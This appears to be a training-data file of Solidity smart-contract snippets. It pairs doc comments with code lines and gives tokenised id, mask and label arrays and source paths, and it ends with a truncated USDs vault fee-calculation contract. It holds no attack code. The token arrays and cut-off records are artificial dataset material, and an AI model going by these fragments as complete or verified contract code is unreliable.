randomNumberGenerator = _randomNumberGenerator; emit RandomNumberGeneratorSetted(randomNumberGenerator); } /** * @dev setting address of strategist. * @param _strategist is address of strategist. */ function setStrategist(address _strategist) external onlyManager { strategist = _strategist; emit StrategistSetted(strategist); } /** * @dev setting address of pinataFeeRecipient. * @param _pinataFeeRecipient is address of pinataFeeRecipient. */ function setPinataFeeRecipient(address _pinataFeeRecipient) external onlyManager { pinataFeeRecipient = _pinataFeeRecipient; emit PinataFeeRecipientSetted(pinataFeeRecipient); } /** * @dev Set the pending manager, which will be the manager once accepted. * @param _pendingManager The address to become the pending governor. */ function setPendingManager(address _pendingManager) external onlyManager { pendingManager = _pendingManager; emit PendingManagerSetted(_pendingManager); } /** * @dev Set the pending manager, which will be the manager once accepted. * @param _accept is to accept role as manager or not. */ function acceptManager(bool _accept) external { require( msg.sender == pendingManager, "PinataManager: not the pending manager" ); pendingManager = address(0); if (_accept) { manager = msg.sender; emit ManagerSetted(msg.sender); } } /** * @dev setting status of time keeper. * @param _timeKeeper is address wish to changing status. */ function setTimeKeeper(address _timeKeeper) external onlyManager { timeKeeper = _timeKeeper; emit TimeKeeperSetted(_timeKeeper); } /** * @dev setting pool to beable to close or draw anytime or only when past time setted. * @param _allowCloseAnytime is address wish to changing status. * @param _allowDrawAnytime is address wish to changing status. */ function setPoolAllow(bool _allowCloseAnytime, bool _allowDrawAnytime) external onlyManager { allowCloseAnytime = _allowCloseAnytime; allowDrawAnytime = _allowDrawAnytime; emit PoolTimerSetted(allowCloseAnytime, allowDrawAnytime); } /** * @dev use for emergency in case state got stuck. * state of the pool should progress automatically. * this function is provided just in case. */ function setStateToReady() external onlyManager { lotteryState = LOTTERY_STATE.READY; emit PoolReady(); } }
* @dev get address of prize pool setted./
function getPrizePool() external view returns (address) { return prizePool; }
991,944
[ 1, 588, 1758, 434, 846, 554, 2845, 444, 2344, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8248, 554, 2864, 1435, 3903, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 846, 554, 2864, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xcdFc5902589dF05E272e0b2eeDA1c46C8DA61e19/sources/contracts/misc/LendingMigrator.sol
borrow new debt with the staked nft
vars.balanceBeforeBorrow = IERC20Upgradeable(vars.debtReserve).balanceOf(address(this));
3,034,931
[ 1, 70, 15318, 394, 18202, 88, 598, 326, 384, 9477, 290, 1222, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 4153, 18, 12296, 4649, 38, 15318, 273, 467, 654, 39, 3462, 10784, 429, 12, 4699, 18, 323, 23602, 607, 6527, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xBD5B268266DB377676133D6B5f4Da336891BF755/sources/contracts/RadSantaFINALfree.sol
Reserved for public sale.
uint16 public constant Santas_Public = 5455;
669,249
[ 1, 10435, 364, 1071, 272, 5349, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 2313, 1071, 5381, 348, 970, 345, 67, 4782, 273, 22431, 2539, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xAfd8Fdb491e8fB399194C0E7281929B634fFda56/sources/CFD.sol
key by amm address. will be deprecated or replaced after guarded period. it's not an accurate open interest, just a rough way to control the unexpected loss at the beginning
mapping(address => Decimal.decimal) public openInterestNotionalMap;
3,377,198
[ 1, 856, 635, 2125, 81, 1758, 18, 903, 506, 6849, 578, 8089, 1839, 3058, 17212, 3879, 18, 518, 1807, 486, 392, 22380, 1696, 16513, 16, 2537, 279, 23909, 4031, 358, 3325, 326, 9733, 8324, 622, 326, 8435, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 11322, 18, 12586, 13, 1071, 1696, 29281, 1248, 285, 287, 863, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x6b33556731Ff3e5adB41B0771b603686a6B2F43E/sources/arbTwo.sol
仲裁方案必须经交易方之一采纳才生效, @pau 仲裁方案编号
function accept(uint256 i, uint256 pau) public { require(user[i].uad == msg.sender || user[i].mad == msg.sender, "arb2/itration/not-owner"); require(weight[i][arbs[i].timc][pau] >= leg, "arb2/Agreement-not-votes"); arbs[i].time = block.timestamp ; emit Acce(i,pau,msg.sender); }
8,597,474
[ 1, 165, 124, 115, 169, 101, 228, 167, 249, 122, 167, 99, 235, 166, 128, 232, 170, 99, 124, 168, 124, 242, 165, 123, 102, 167, 251, 246, 167, 249, 122, 165, 122, 238, 165, 121, 227, 170, 234, 234, 168, 123, 116, 167, 236, 240, 168, 247, 258, 167, 248, 235, 16, 632, 84, 8377, 225, 165, 124, 115, 169, 101, 228, 167, 249, 122, 167, 99, 235, 168, 125, 249, 166, 242, 120, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2791, 12, 11890, 5034, 277, 16, 2254, 5034, 6790, 89, 13, 1071, 288, 203, 3639, 2583, 12, 1355, 63, 77, 8009, 89, 361, 422, 1234, 18, 15330, 747, 729, 63, 77, 8009, 81, 361, 422, 1234, 18, 15330, 16, 315, 6779, 22, 19, 305, 7034, 19, 902, 17, 8443, 8863, 203, 3639, 2583, 12, 4865, 63, 77, 6362, 297, 2038, 63, 77, 8009, 8584, 71, 6362, 84, 8377, 65, 1545, 4553, 16, 315, 6779, 22, 19, 17420, 17, 902, 17, 27800, 8863, 203, 3639, 419, 2038, 63, 77, 8009, 957, 273, 1203, 18, 5508, 274, 203, 3639, 3626, 12848, 311, 12, 77, 16, 84, 8377, 16, 3576, 18, 15330, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xEd4969Fa7095f4677648ebA593aD8A6470a6A583/sources/project_/contracts/Cryptopati.sol
Duration after which tokens will be replenished
uint256 public replenishDuration = 4 hours;
1,900,264
[ 1, 5326, 1839, 1492, 2430, 903, 506, 6831, 275, 5992, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 6831, 275, 1468, 5326, 273, 1059, 7507, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Deployed Date: 12-22-2021 // Commit: https://github.com/Sperax/USDs/commit/a9edd45b6c1ccbc421d4903cddceb22c15d399ff // Implementation Contract Address: N/A // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../utils/BancorFormula.sol"; import "./interfaces/IOracleV1.sol"; import "../interfaces/IVaultCore.sol"; import "../libraries/StableMath.sol"; import "../utils/BancorFormula.sol"; /** * @title supporting VaultCore of USDs protocol * @dev calculation of chi, swap fees associated with USDs's mint and redeem * @dev view functions of USDs's mint and redeem * @author Sperax Foundation */ contract VaultCoreToolsV1 is Initializable { using SafeERC20Upgradeable for ERC20Upgradeable; using SafeMathUpgradeable for uint; using StableMath for uint; BancorFormula public BancorInstance; function initialize(address _BancorFormulaAddr) public initializer { BancorInstance = BancorFormula(_BancorFormulaAddr); } /** * @dev calculate chiTarget by the formula in section 2.2 of the whitepaper * @param blockPassed the number of blocks that have passed since USDs is launched, i.e. "Block Height" * @param priceUSDs the price of USDs, i.e. "USDs Price" * @param precisionUSDs the precision used in the variable "priceUSDs" * @return chiTarget_ the value of chiTarget */ function chiTarget( uint blockPassed, uint priceUSDs, uint precisionUSDs, address _VaultCoreContract ) public view returns (uint chiTarget_) { IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint chiAdjustmentA = blockPassed.mul(_vaultContract.chi_alpha()); uint chiAdjustmentB; uint afterB; if (priceUSDs >= precisionUSDs) { chiAdjustmentB = uint(_vaultContract.chi_beta()).mul(uint(_vaultContract.chi_prec())).mul(priceUSDs - precisionUSDs).mul(priceUSDs - precisionUSDs).div(_vaultContract.chi_beta_prec()); afterB = _vaultContract.chiInit().add(chiAdjustmentB); } else { chiAdjustmentB = uint(_vaultContract.chi_beta()).mul(uint(_vaultContract.chi_prec())).mul(precisionUSDs - priceUSDs).mul(precisionUSDs - priceUSDs).div(_vaultContract.chi_beta_prec()); (, afterB) = _vaultContract.chiInit().trySub(chiAdjustmentB); } (, chiTarget_) = afterB.trySub(chiAdjustmentA); if (chiTarget_ > _vaultContract.chi_prec()) { chiTarget_ = _vaultContract.chi_prec(); } } function multiplier(uint original, uint price, uint precision) public pure returns (uint) { return original.mul(price).div(precision); } /** * @dev calculate chiMint * @return chiMint, i.e. chiTarget, since they share the same value */ function chiMint(address _VaultCoreContract) public view returns (uint) { IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint priceUSDs = uint(IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice()); uint precisionUSDs = IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice_prec(); uint blockPassed = uint(block.number).sub(_vaultContract.startBlockHeight()); return chiTarget(blockPassed, priceUSDs, precisionUSDs, _VaultCoreContract); } /** * @dev calculate chiRedeem based on the formula at the end of section 2.2 * @return chiRedeem_ */ function chiRedeem(address _VaultCoreContract) public view returns (uint chiRedeem_) { // calculate chiTarget IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint priceUSDs = uint(IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice()); uint precisionUSDs = IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice_prec(); uint blockPassed = uint(block.number).sub(_vaultContract.startBlockHeight()); uint chiTarget_ = chiTarget(blockPassed, priceUSDs, precisionUSDs, _VaultCoreContract); // calculate chiRedeem uint collateralRatio_ = _vaultContract.collateralRatio(); if (chiTarget_ > collateralRatio_) { chiRedeem_ = chiTarget_.sub(uint(_vaultContract.chi_gamma()).mul(chiTarget_ - collateralRatio_).div(uint(_vaultContract.chi_gamma_prec()))); } else { chiRedeem_ = chiTarget_; } } /** * @dev calculate the OutSwap fee, i.e. fees for redeeming USDs * @return the OutSwap fee */ function calculateSwapFeeOut(address _VaultCoreContract) public view returns (uint) { // if the OutSwap fee is diabled, return 0 IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); if (!_vaultContract.swapfeeOutAllowed()) { return 0; } // implement the formula in Section 4.3.2 of whitepaper uint USDsInOutRatio = IOracleV1(_vaultContract.oracleAddr()).USDsInOutRatio(); uint32 USDsInOutRatio_prec = IOracleV1(_vaultContract.oracleAddr()).USDsInOutRatio_prec(); if (USDsInOutRatio <= uint(_vaultContract.swapFee_a()).mul(uint(USDsInOutRatio_prec)).div(uint(_vaultContract.swapFee_a_prec()))) { return uint(_vaultContract.swapFee_prec()) / 1000; //0.1% } else { uint exponentWithPrec = USDsInOutRatio - uint(_vaultContract.swapFee_a()).mul(uint(USDsInOutRatio_prec)).div(uint(_vaultContract.swapFee_a_prec())); if (exponentWithPrec >= 2^32) { return uint(_vaultContract.swapFee_prec()); } (uint powResWithPrec, uint8 powResPrec) = BancorInstance.power( uint(_vaultContract.swapFee_A()), uint(_vaultContract.swapFee_A_prec()), uint32(exponentWithPrec), USDsInOutRatio_prec ); uint toReturn = uint(powResWithPrec >> powResPrec).mul(uint(_vaultContract.swapFee_prec())) / 100; if (toReturn >= uint(_vaultContract.swapFee_prec())) { return uint(_vaultContract.swapFee_prec()); } else { return toReturn; } } } function redeemView( address _collaAddr, uint USDsAmt, address _VaultCoreContract, address _oracleAddr ) public view returns (uint SPAMintAmt, uint collaUnlockAmt, uint USDsBurntAmt, uint swapFeeAmount) { IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint swapFee = calculateSwapFeeOut(_VaultCoreContract); collaUnlockAmt = 0; USDsBurntAmt = 0; swapFeeAmount = 0; SPAMintAmt = multiplier(USDsAmt, (uint(_vaultContract.chi_prec()) - chiRedeem(_VaultCoreContract)), uint(_vaultContract.chi_prec())); SPAMintAmt = multiplier(SPAMintAmt, IOracleV1(_oracleAddr).getSPAprice_prec(), IOracleV1(_oracleAddr).getSPAprice()); if (swapFee > 0) { SPAMintAmt = SPAMintAmt.sub(multiplier(SPAMintAmt, swapFee, uint(_vaultContract.swapFee_prec()))); } // Unlock collaeral collaUnlockAmt = multiplier(USDsAmt, chiRedeem(_VaultCoreContract), uint(_vaultContract.chi_prec())); collaUnlockAmt = multiplier(collaUnlockAmt, IOracleV1(_oracleAddr).getCollateralPrice_prec(_collaAddr), 